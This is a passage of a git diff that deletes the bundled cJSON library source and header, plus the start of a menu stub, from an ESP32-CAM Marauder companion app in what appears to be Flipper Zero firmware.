cJSON* replacement) { - if((parent == NULL) || (replacement == NULL) || (item == NULL)) { - return false; - } - - if(replacement == item) { - return true; - } - - replacement->next = item->next; - replacement->prev = item->prev; - - if(replacement->next != NULL) { - replacement->next->prev = replacement; - } - if(parent->child == item) { - if(parent->child->prev == parent->child) { - replacement->prev = replacement; - } - parent->child = replacement; - } else { /* - * To find the last item in array quickly, we use prev in array. - * We can't modify the last item's next pointer where this item was the parent's child - */ - if(replacement->prev != NULL) { - replacement->prev->next = replacement; - } - if(replacement->next == NULL) { - parent->child->prev = replacement; - } - } - - item->next = NULL; - item->prev = NULL; - cJSON_Delete(item); - - return true; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_ReplaceItemInArray(cJSON* array, int which, cJSON* newitem) { - if(which < 0) { - return false; - } - - return cJSON_ReplaceItemViaPointer(array, get_array_item(array, (size_t)which), newitem); -} - -static cJSON_bool replace_item_in_object( - cJSON* object, - const char* string, - cJSON* replacement, - cJSON_bool case_sensitive) { - if((replacement == NULL) || (string == NULL)) { - return false; - } - - /* replace the name in the replacement */ - if(!(replacement->type & cJSON_StringIsConst) && (replacement->string != NULL)) { - cJSON_free(replacement->string); - } - replacement->string = (char*)cJSON_strdup((const unsigned char*)string, &global_hooks); - replacement->type &= ~cJSON_StringIsConst; - - return cJSON_ReplaceItemViaPointer( - object, get_object_item(object, string, case_sensitive), replacement); -} - -CJSON_PUBLIC(cJSON_bool) -cJSON_ReplaceItemInObject(cJSON* object, const char* string, cJSON* newitem) { - return replace_item_in_object(object, string, newitem, false); -} - -CJSON_PUBLIC(cJSON_bool) -cJSON_ReplaceItemInObjectCaseSensitive(cJSON* object, const char* string, cJSON* newitem) { - return replace_item_in_object(object, string, newitem, true); -} - -/* Create basic types: */ -CJSON_PUBLIC(cJSON*) cJSON_CreateNull(void) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_NULL; - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateTrue(void) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_True; - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateFalse(void) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_False; - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateBool(cJSON_bool boolean) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = boolean ? cJSON_True : cJSON_False; - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateNumber(double num) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_Number; - item->valuedouble = num; - - /* use saturation in case of overflow */ - if(num >= INT_MAX) { - item->valueint = INT_MAX; - } else if(num <= (double)INT_MIN) { - item->valueint = INT_MIN; - } else { - item->valueint = (int)num; - } - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateString(const char* string) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_String; - item->valuestring = (char*)cJSON_strdup((const unsigned char*)string, &global_hooks); - if(!item->valuestring) { - cJSON_Delete(item); - return NULL; - } - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateStringReference(const char* string) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item != NULL) { - item->type = cJSON_String | cJSON_IsReference; - item->valuestring = (char*)cast_away_const(string); - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateObjectReference(const cJSON* child) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item != NULL) { - item->type = cJSON_Object | cJSON_IsReference; - item->child = (cJSON*)cast_away_const(child); - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateArrayReference(const cJSON* child) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item != NULL) { - item->type = cJSON_Array | cJSON_IsReference; - item->child = (cJSON*)cast_away_const(child); - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateRaw(const char* raw) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_Raw; - item->valuestring = (char*)cJSON_strdup((const unsigned char*)raw, &global_hooks); - if(!item->valuestring) { - cJSON_Delete(item); - return NULL; - } - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateArray(void) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_Array; - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateObject(void) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_Object; - } - - return item; -} - -/* Create Arrays: */ -CJSON_PUBLIC(cJSON*) cJSON_CreateIntArray(const int* numbers, int count) { - size_t i = 0; - cJSON* n = NULL; - cJSON* p = NULL; - cJSON* a = NULL; - - if((count < 0) || (numbers == NULL)) { - return NULL; - } - - a = cJSON_CreateArray(); - - for(i = 0; a && (i < (size_t)count); i++) { - n = cJSON_CreateNumber(numbers[i]); - if(!n) { - cJSON_Delete(a); - return NULL; - } - if(!i) { - a->child = n; - } else { - suffix_object(p, n); - } - p = n; - } - - if(a && a->child) { - a->child->prev = n; - } - - return a; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateFloatArray(const float* numbers, int count) { - size_t i = 0; - cJSON* n = NULL; - cJSON* p = NULL; - cJSON* a = NULL; - - if((count < 0) || (numbers == NULL)) { - return NULL; - } - - a = cJSON_CreateArray(); - - for(i = 0; a && (i < (size_t)count); i++) { - n = cJSON_CreateNumber((double)numbers[i]); - if(!n) { - cJSON_Delete(a); - return NULL; - } - if(!i) { - a->child = n; - } else { - suffix_object(p, n); - } - p = n; - } - - if(a && a->child) { - a->child->prev = n; - } - - return a; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateDoubleArray(const double* numbers, int count) { - size_t i = 0; - cJSON* n = NULL; - cJSON* p = NULL; - cJSON* a = NULL; - - if((count < 0) || (numbers == NULL)) { - return NULL; - } - - a = cJSON_CreateArray(); - - for(i = 0; a && (i < (size_t)count); i++) { - n = cJSON_CreateNumber(numbers[i]); - if(!n) { - cJSON_Delete(a); - return NULL; - } - if(!i) { - a->child = n; - } else { - suffix_object(p, n); - } - p = n; - } - - if(a && a->child) { - a->child->prev = n; - } - - return a; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateStringArray(const char* const* strings, int count) { - size_t i = 0; - cJSON* n = NULL; - cJSON* p = NULL; - cJSON* a = NULL; - - if((count < 0) || (strings == NULL)) { - return NULL; - } - - a = cJSON_CreateArray(); - - for(i = 0; a && (i < (size_t)count); i++) { - n = cJSON_CreateString(strings[i]); - if(!n) { - cJSON_Delete(a); - return NULL; - } - if(!i) { - a->child = n; - } else { - suffix_object(p, n); - } - p = n; - } - - if(a && a->child) { - a->child->prev = n; - } - - return a; -} - -/* Duplication */ -CJSON_PUBLIC(cJSON*) cJSON_Duplicate(const cJSON* item, cJSON_bool recurse) { - cJSON* newitem = NULL; - cJSON* child = NULL; - cJSON* next = NULL; - cJSON* newchild = NULL; - - /* Bail on bad ptr */ - if(!item) { - goto fail; - } - /* Create new item */ - newitem = cJSON_New_Item(&global_hooks); - if(!newitem) { - goto fail; - } - /* Copy over all vars */ - newitem->type = item->type & (~cJSON_IsReference); - newitem->valueint = item->valueint; - newitem->valuedouble = item->valuedouble; - if(item->valuestring) { - newitem->valuestring = - (char*)cJSON_strdup((unsigned char*)item->valuestring, &global_hooks); - if(!newitem->valuestring) { - goto fail; - } - } - if(item->string) { - newitem->string = (item->type & cJSON_StringIsConst) ? - item->string : - (char*)cJSON_strdup((unsigned char*)item->string, &global_hooks); - if(!newitem->string) { - goto fail; - } - } - /* If non-recursive, then we're done! */ - if(!recurse) { - return newitem; - } - /* Walk the ->next chain for the child. */ - child = item->child; - while(child != NULL) { - newchild = cJSON_Duplicate( - child, true); /* Duplicate (with recurse) each item in the ->next chain */ - if(!newchild) { - goto fail; - } - if(next != NULL) { - /* If newitem->child already set, then crosswire ->prev and ->next and move on */ - next->next = newchild; - newchild->prev = next; - next = newchild; - } else { - /* Set newitem->child and move to it */ - newitem->child = newchild; - next = newchild; - } - child = child->next; - } - if(newitem && newitem->child) { - newitem->child->prev = newchild; - } - - return newitem; - -fail: - if(newitem != NULL) { - cJSON_Delete(newitem); - } - - return NULL; -} - -static void skip_oneline_comment(char** input) { - *input += static_strlen("//"); - - for(; (*input)[0] != '\0'; ++(*input)) { - if((*input)[0] == '\n') { - *input += static_strlen("\n"); - return; - } - } -} - -static void skip_multiline_comment(char** input) { - *input += static_strlen("/*"); - - for(; (*input)[0] != '\0'; ++(*input)) { - if(((*input)[0] == '*') && ((*input)[1] == '/')) { - *input += static_strlen("*/"); - return; - } - } -} - -static void minify_string(char** input, char** output) { - (*output)[0] = (*input)[0]; - *input += static_strlen("\""); - *output += static_strlen("\""); - - for(; (*input)[0] != '\0'; (void)++(*input), ++(*output)) { - (*output)[0] = (*input)[0]; - - if((*input)[0] == '\"') { - (*output)[0] = '\"'; - *input += static_strlen("\""); - *output += static_strlen("\""); - return; - } else if(((*input)[0] == '\\') && ((*input)[1] == '\"')) { - (*output)[1] = (*input)[1]; - *input += static_strlen("\""); - *output += static_strlen("\""); - } - } -} - -CJSON_PUBLIC(void) cJSON_Minify(char* json) { - char* into = json; - - if(json == NULL) { - return; - } - - while(json[0] != '\0') { - switch(json[0]) { - case ' ': - case '\t': - case '\r': - case '\n': - json++; - break; - - case '/': - if(json[1] == '/') { - skip_oneline_comment(&json); - } else if(json[1] == '*') { - skip_multiline_comment(&json); - } else { - json++; - } - break; - - case '\"': - minify_string(&json, (char**)&into); - break; - - default: - into[0] = json[0]; - json++; - into++; - } - } - - /* and null-terminate. */ - *into = '\0'; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsInvalid(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_Invalid; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsFalse(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_False; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsTrue(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xff) == cJSON_True; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsBool(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & (cJSON_True | cJSON_False)) != 0; -} -CJSON_PUBLIC(cJSON_bool) cJSON_IsNull(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_NULL; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsNumber(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_Number; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsString(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_String; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsArray(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_Array; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsObject(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_Object; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsRaw(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_Raw; -} - -CJSON_PUBLIC(cJSON_bool) -cJSON_Compare(const cJSON* const a, const cJSON* const b, const cJSON_bool case_sensitive) { - if((a == NULL) || (b == NULL) || ((a->type & 0xFF) != (b->type & 0xFF))) { - return false; - } - - /* check if type is valid */ - switch(a->type & 0xFF) { - case cJSON_False: - case cJSON_True: - case cJSON_NULL: - case cJSON_Number: - case cJSON_String: - case cJSON_Raw: - case cJSON_Array: - case cJSON_Object: - break; - - default: - return false; - } - - /* identical objects are equal */ - if(a == b) { - return true; - } - - switch(a->type & 0xFF) { - /* in these cases and equal type is enough */ - case cJSON_False: - case cJSON_True: - case cJSON_NULL: - return true; - - case cJSON_Number: - if(compare_double(a->valuedouble, b->valuedouble)) { - return true; - } - return false; - - case cJSON_String: - case cJSON_Raw: - if((a->valuestring == NULL) || (b->valuestring == NULL)) { - return false; - } - if(strcmp(a->valuestring, b->valuestring) == 0) { - return true; - } - - return false; - - case cJSON_Array: { - cJSON* a_element = a->child; - cJSON* b_element = b->child; - - for(; (a_element != NULL) && (b_element != NULL);) { - if(!cJSON_Compare(a_element, b_element, case_sensitive)) { - return false; - } - - a_element = a_element->next; - b_element = b_element->next; - } - - /* one of the arrays is longer than the other */ - if(a_element != b_element) { - return false; - } - - return true; - } - - case cJSON_Object: { - cJSON* a_element = NULL; - cJSON* b_element = NULL; - cJSON_ArrayForEach(a_element, a) { - /* TODO This has O(n^2) runtime, which is horrible! */ - b_element = get_object_item(b, a_element->string, case_sensitive); - if(b_element == NULL) { - return false; - } - - if(!cJSON_Compare(a_element, b_element, case_sensitive)) { - return false; - } - } - - /* doing this twice, once on a and b to prevent true comparison if a subset of b - * TODO: Do this the proper way, this is just a fix for now */ - cJSON_ArrayForEach(b_element, b) { - a_element = get_object_item(a, b_element->string, case_sensitive); - if(a_element == NULL) { - return false; - } - - if(!cJSON_Compare(b_element, a_element, case_sensitive)) { - return false; - } - } - - return true; - } - - default: - return false; - } -} - -CJSON_PUBLIC(void*) cJSON_malloc(size_t size) { - return global_hooks.allocate(size); -} - -CJSON_PUBLIC(void) cJSON_free(void* object) { - global_hooks.deallocate(object); -} diff --git a/applications/external/esp32cam_marauder_companion/script/cJSON.h b/applications/external/esp32cam_marauder_companion/script/cJSON.h deleted file mode 100644 index 14ec83d9d..000000000 --- a/applications/external/esp32cam_marauder_companion/script/cJSON.h +++ /dev/null @@ -1,321 +0,0 @@ -/* - Copyright (c) 2009-2017 Dave Gamble and cJSON contributors - - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights - to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - copies of the Software, and to permit persons to whom the Software is - furnished to do so, subject to the following conditions: - - The above copyright notice and this permission notice shall be included in - all copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - THE SOFTWARE. -*/ - -#ifndef cJSON__h -#define cJSON__h - -#ifdef __cplusplus -extern "C" { -#endif - -#if !defined(__WINDOWS__) && \ - (defined(WIN32) || defined(WIN64) || defined(_MSC_VER) || defined(_WIN32)) -#define __WINDOWS__ -#endif - -#ifdef __WINDOWS__ - -/* When compiling for windows, we specify a specific calling convention to avoid issues where we are being called from a project with a different default calling convention. For windows you have 3 define options: - -CJSON_HIDE_SYMBOLS - Define this in the case where you don't want to ever dllexport symbols -CJSON_EXPORT_SYMBOLS - Define this on library build when you want to dllexport symbols (default) -CJSON_IMPORT_SYMBOLS - Define this if you want to dllimport symbol - -For *nix builds that support visibility attribute, you can define similar behavior by - -setting default visibility to hidden by adding --fvisibility=hidden (for gcc) -or --xldscope=hidden (for sun cc) -to CFLAGS - -then using the CJSON_API_VISIBILITY flag to "export" the same symbols the way CJSON_EXPORT_SYMBOLS does - -*/ - -#define CJSON_CDECL __cdecl -#define CJSON_STDCALL __stdcall - -/* export symbols by default, this is necessary for copy pasting the C and header file */ -#if !defined(CJSON_HIDE_SYMBOLS) && !defined(CJSON_IMPORT_SYMBOLS) && \ - !defined(CJSON_EXPORT_SYMBOLS) -#define CJSON_EXPORT_SYMBOLS -#endif - -#if defined(CJSON_HIDE_SYMBOLS) -#define CJSON_PUBLIC(type) type CJSON_STDCALL -#elif defined(CJSON_EXPORT_SYMBOLS) -#define CJSON_PUBLIC(type) __declspec(dllexport) type CJSON_STDCALL -#elif defined(CJSON_IMPORT_SYMBOLS) -#define CJSON_PUBLIC(type) __declspec(dllimport) type CJSON_STDCALL -#endif -#else /* !__WINDOWS__ */ -#define CJSON_CDECL -#define CJSON_STDCALL - -#if(defined(__GNUC__) || defined(__SUNPRO_CC) || defined(__SUNPRO_C)) && \ - defined(CJSON_API_VISIBILITY) -#define CJSON_PUBLIC(type) __attribute__((visibility("default"))) type -#else -#define CJSON_PUBLIC(type) type -#endif -#endif - -/* project version */ -#define CJSON_VERSION_MAJOR 1 -#define CJSON_VERSION_MINOR 7 -#define CJSON_VERSION_PATCH 15 - -#include - -/* cJSON Types: */ -#define cJSON_Invalid (0) -#define cJSON_False (1 << 0) -#define cJSON_True (1 << 1) -#define cJSON_NULL (1 << 2) -#define cJSON_Number (1 << 3) -#define cJSON_String (1 << 4) -#define cJSON_Array (1 << 5) -#define cJSON_Object (1 << 6) -#define cJSON_Raw (1 << 7) /* raw json */ - -#define cJSON_IsReference 256 -#define cJSON_StringIsConst 512 - -/* The cJSON structure: */ -typedef struct cJSON { - /* next/prev allow you to walk array/object chains. Alternatively, use GetArraySize/GetArrayItem/GetObjectItem */ - struct cJSON* next; - struct cJSON* prev; - /* An array or object item will have a child pointer pointing to a chain of the items in the array/object. */ - struct cJSON* child; - - /* The type of the item, as above. */ - int type; - - /* The item's string, if type==cJSON_String and type == cJSON_Raw */ - char* valuestring; - /* writing to valueint is DEPRECATED, use cJSON_SetNumberValue instead */ - int valueint; - /* The item's number, if type==cJSON_Number */ - double valuedouble; - - /* The item's name string, if this item is the child of, or is in the list of subitems of an object. */ - char* string; -} cJSON; - -typedef struct cJSON_Hooks { - /* malloc/free are CDECL on Windows regardless of the default calling convention of the compiler, so ensure the hooks allow passing those functions directly. */ - void*(CJSON_CDECL* malloc_fn)(size_t sz); - void(CJSON_CDECL* free_fn)(void* ptr); -} cJSON_Hooks; - -typedef int cJSON_bool; - -/* Limits how deeply nested arrays/objects can be before cJSON rejects to parse them. - * This is to prevent stack overflows. */ -#ifndef CJSON_NESTING_LIMIT -#define CJSON_NESTING_LIMIT 1000 -#endif - -/* returns the version of cJSON as a string */ -CJSON_PUBLIC(const char*) cJSON_Version(void); - -/* Supply malloc, realloc and free functions to cJSON */ -CJSON_PUBLIC(void) cJSON_InitHooks(cJSON_Hooks* hooks); - -/* Memory Management: the caller is always responsible to free the results from all variants of cJSON_Parse (with cJSON_Delete) and cJSON_Print (with stdlib free, cJSON_Hooks.free_fn, or cJSON_free as appropriate). The exception is cJSON_PrintPreallocated, where the caller has full responsibility of the buffer. */ -/* Supply a block of JSON, and this returns a cJSON object you can interrogate. */ -CJSON_PUBLIC(cJSON*) cJSON_Parse(const char* value); -CJSON_PUBLIC(cJSON*) cJSON_ParseWithLength(const char* value, size_t buffer_length); -/* ParseWithOpts allows you to require (and check) that the JSON is null terminated, and to retrieve the pointer to the final byte parsed. */ -/* If you supply a ptr in return_parse_end and parsing fails, then return_parse_end will contain a pointer to the error so will match cJSON_GetErrorPtr(). */ -CJSON_PUBLIC(cJSON*) -cJSON_ParseWithOpts( - const char* value, - const char** return_parse_end, - cJSON_bool require_null_terminated); -CJSON_PUBLIC(cJSON*) -cJSON_ParseWithLengthOpts( - const char* value, - size_t buffer_length, - const char** return_parse_end, - cJSON_bool require_null_terminated); - -/* Render a cJSON entity to text for transfer/storage. */ -CJSON_PUBLIC(char*) cJSON_Print(const cJSON* item); -/* Render a cJSON entity to text for transfer/storage without any formatting. */ -CJSON_PUBLIC(char*) cJSON_PrintUnformatted(const cJSON* item); -/* Render a cJSON entity to text using a buffered strategy. prebuffer is a guess at the final size. guessing well reduces reallocation. fmt=0 gives unformatted, =1 gives formatted */ -CJSON_PUBLIC(char*) cJSON_PrintBuffered(const cJSON* item, int prebuffer, cJSON_bool fmt); -/* Render a cJSON entity to text using a buffer already allocated in memory with given length. Returns 1 on success and 0 on failure. */ -/* NOTE: cJSON is not always 100% accurate in estimating how much memory it will use, so to be safe allocate 5 bytes more than you actually need */ -CJSON_PUBLIC(cJSON_bool) -cJSON_PrintPreallocated(cJSON* item, char* buffer, const int length, const cJSON_bool format); -/* Delete a cJSON entity and all subentities. */ -CJSON_PUBLIC(void) cJSON_Delete(cJSON* item); - -/* Returns the number of items in an array (or object). */ -CJSON_PUBLIC(int) cJSON_GetArraySize(const cJSON* array); -/* Retrieve item number "index" from array "array". Returns NULL if unsuccessful. */ -CJSON_PUBLIC(cJSON*) cJSON_GetArrayItem(const cJSON* array, int index); -/* Get item "string" from object. Case insensitive. */ -CJSON_PUBLIC(cJSON*) cJSON_GetObjectItem(const cJSON* const object, const char* const string); -CJSON_PUBLIC(cJSON*) -cJSON_GetObjectItemCaseSensitive(const cJSON* const object, const char* const string); -CJSON_PUBLIC(cJSON_bool) cJSON_HasObjectItem(const cJSON* object, const char* string); -/* For analysing failed parses. This returns a pointer to the parse error. You'll probably need to look a few chars back to make sense of it. Defined when cJSON_Parse() returns 0. 0 when cJSON_Parse() succeeds. */ -CJSON_PUBLIC(const char*) cJSON_GetErrorPtr(void); - -/* Check item type and return its value */ -CJSON_PUBLIC(char*) cJSON_GetStringValue(const cJSON* const item); -CJSON_PUBLIC(double) cJSON_GetNumberValue(const cJSON* const item); - -/* These functions check the type of an item */ -CJSON_PUBLIC(cJSON_bool) cJSON_IsInvalid(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsFalse(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsTrue(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsBool(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsNull(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsNumber(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsString(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsArray(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsObject(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsRaw(const cJSON* const item); - -/* These calls create a cJSON item of the appropriate type. */ -CJSON_PUBLIC(cJSON*) cJSON_CreateNull(void); -CJSON_PUBLIC(cJSON*) cJSON_CreateTrue(void); -CJSON_PUBLIC(cJSON*) cJSON_CreateFalse(void); -CJSON_PUBLIC(cJSON*) cJSON_CreateBool(cJSON_bool boolean); -CJSON_PUBLIC(cJSON*) cJSON_CreateNumber(double num); -CJSON_PUBLIC(cJSON*) cJSON_CreateString(const char* string); -/* raw json */ -CJSON_PUBLIC(cJSON*) cJSON_CreateRaw(const char* raw); -CJSON_PUBLIC(cJSON*) cJSON_CreateArray(void); -CJSON_PUBLIC(cJSON*) cJSON_CreateObject(void); - -/* Create a string where valuestring references a string so - * it will not be freed by cJSON_Delete */ -CJSON_PUBLIC(cJSON*) cJSON_CreateStringReference(const char* string); -/* Create an object/array that only references it's elements so - * they will not be freed by cJSON_Delete */ -CJSON_PUBLIC(cJSON*) cJSON_CreateObjectReference(const cJSON* child); -CJSON_PUBLIC(cJSON*) cJSON_CreateArrayReference(const cJSON* child); - -/* These utilities create an Array of count items. - * The parameter count cannot be greater than the number of elements in the number array, otherwise array access will be out of bounds.*/ -CJSON_PUBLIC(cJSON*) cJSON_CreateIntArray(const int* numbers, int count); -CJSON_PUBLIC(cJSON*) cJSON_CreateFloatArray(const float* numbers, int count); -CJSON_PUBLIC(cJSON*) cJSON_CreateDoubleArray(const double* numbers, int count); -CJSON_PUBLIC(cJSON*) cJSON_CreateStringArray(const char* const* strings, int count); - -/* Append item to the specified array/object. */ -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemToArray(cJSON* array, cJSON* item); -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemToObject(cJSON* object, const char* string, cJSON* item); -/* Use this when string is definitely const (i.e. a literal, or as good as), and will definitely survive the cJSON object. - * WARNING: When this function was used, make sure to always check that (item->type & cJSON_StringIsConst) is zero before - * writing to `item->string` */ -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemToObjectCS(cJSON* object, const char* string, cJSON* item); -/* Append reference to item to the specified array/object. Use this when you want to add an existing cJSON to a new cJSON, but don't want to corrupt your existing cJSON. */ -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemReferenceToArray(cJSON* array, cJSON* item); -CJSON_PUBLIC(cJSON_bool) -cJSON_AddItemReferenceToObject(cJSON* object, const char* string, cJSON* item); - -/* Remove/Detach items from Arrays/Objects. */ -CJSON_PUBLIC(cJSON*) cJSON_DetachItemViaPointer(cJSON* parent, cJSON* const item); -CJSON_PUBLIC(cJSON*) cJSON_DetachItemFromArray(cJSON* array, int which); -CJSON_PUBLIC(void) cJSON_DeleteItemFromArray(cJSON* array, int which); -CJSON_PUBLIC(cJSON*) cJSON_DetachItemFromObject(cJSON* object, const char* string); -CJSON_PUBLIC(cJSON*) cJSON_DetachItemFromObjectCaseSensitive(cJSON* object, const char* string); -CJSON_PUBLIC(void) cJSON_DeleteItemFromObject(cJSON* object, const char* string); -CJSON_PUBLIC(void) cJSON_DeleteItemFromObjectCaseSensitive(cJSON* object, const char* string); - -/* Update array items. */ -CJSON_PUBLIC(cJSON_bool) -cJSON_InsertItemInArray( - cJSON* array, - int which, - cJSON* newitem); /* Shifts pre-existing items to the right. */ -CJSON_PUBLIC(cJSON_bool) -cJSON_ReplaceItemViaPointer(cJSON* const parent, cJSON* const item, cJSON* replacement); -CJSON_PUBLIC(cJSON_bool) cJSON_ReplaceItemInArray(cJSON* array, int which, cJSON* newitem); -CJSON_PUBLIC(cJSON_bool) -cJSON_ReplaceItemInObject(cJSON* object, const char* string, cJSON* newitem); -CJSON_PUBLIC(cJSON_bool) -cJSON_ReplaceItemInObjectCaseSensitive(cJSON* object, const char* string, cJSON* newitem); - -/* Duplicate a cJSON item */ -CJSON_PUBLIC(cJSON*) cJSON_Duplicate(const cJSON* item, cJSON_bool recurse); -/* Duplicate will create a new, identical cJSON item to the one you pass, in new memory that will - * need to be released. With recurse!=0, it will duplicate any children connected to the item. - * The item->next and ->prev pointers are always zero on return from Duplicate. */ -/* Recursively compare two cJSON items for equality. If either a or b is NULL or invalid, they will be considered unequal. - * case_sensitive determines if object keys are treated case sensitive (1) or case insensitive (0) */ -CJSON_PUBLIC(cJSON_bool) -cJSON_Compare(const cJSON* const a, const cJSON* const b, const cJSON_bool case_sensitive); - -/* Minify a strings, remove blank characters(such as ' ', '\t', '\r', '\n') from strings. - * The input pointer json cannot point to a read-only address area, such as a string constant, - * but should point to a readable and writable address area. */ -CJSON_PUBLIC(void) cJSON_Minify(char* json); - -/* Helper functions for creating and adding items to an object at the same time. - * They return the added item or NULL on failure. */ -CJSON_PUBLIC(cJSON*) cJSON_AddNullToObject(cJSON* const object, const char* const name); -CJSON_PUBLIC(cJSON*) cJSON_AddTrueToObject(cJSON* const object, const char* const name); -CJSON_PUBLIC(cJSON*) cJSON_AddFalseToObject(cJSON* const object, const char* const name); -CJSON_PUBLIC(cJSON*) -cJSON_AddBoolToObject(cJSON* const object, const char* const name, const cJSON_bool boolean); -CJSON_PUBLIC(cJSON*) -cJSON_AddNumberToObject(cJSON* const object, const char* const name, const double number); -CJSON_PUBLIC(cJSON*) -cJSON_AddStringToObject(cJSON* const object, const char* const name, const char* const string); -CJSON_PUBLIC(cJSON*) -cJSON_AddRawToObject(cJSON* const object, const char* const name, const char* const raw); -CJSON_PUBLIC(cJSON*) cJSON_AddObjectToObject(cJSON* const object, const char* const name); -CJSON_PUBLIC(cJSON*) cJSON_AddArrayToObject(cJSON* const object, const char* const name); - -/* When assigning an integer value, it needs to be propagated to valuedouble too. */ -#define cJSON_SetIntValue(object, number) \ - ((object) ? (object)->valueint = (object)->valuedouble = (number) : (number)) -/* helper for the cJSON_SetNumberValue macro */ -CJSON_PUBLIC(double) cJSON_SetNumberHelper(cJSON* object, double number); -#define cJSON_SetNumberValue(object, number) \ - ((object != NULL) ? cJSON_SetNumberHelper(object, (double)number) : (number)) -/* Change the valuestring of a cJSON_String object, only takes effect when type of object is cJSON_String */ -CJSON_PUBLIC(char*) cJSON_SetValuestring(cJSON* object, const char* valuestring); - -/* Macro for iterating over an array or object */ -#define cJSON_ArrayForEach(element, array) \ - for(element = (array != NULL) ? (array)->child : NULL; element != NULL; \ - element = element->next) - -/* malloc/free objects using the malloc/free functions that have been set with cJSON_InitHooks */ -CJSON_PUBLIC(void*) cJSON_malloc(size_t size); -CJSON_PUBLIC(void) cJSON_free(void* object); - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu.c deleted file mode 100644 index 6fe853eb6..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu.c +++ /dev/null @@ -1,32 +0,0 @@ -#include "wifi_marauder_script_stage_menu.h" - -WifiMarauderScriptStageMenu* - wifi_marauder_script_stage_menu_create(WifiMarauderScriptStageType stage_type) { - WifiMarauderScriptStageMenu* script_stage_menu = malloc(sizeof(WifiMarauderScriptStageMenu)); - - switch(stage_type) { -#define ADD_STAGE(name, id) \ - case WifiMarauderScriptStageType##id: \ - wifi_marauder_script_stage_menu_##name##_load(script_stage_menu); \ - break; - -#include 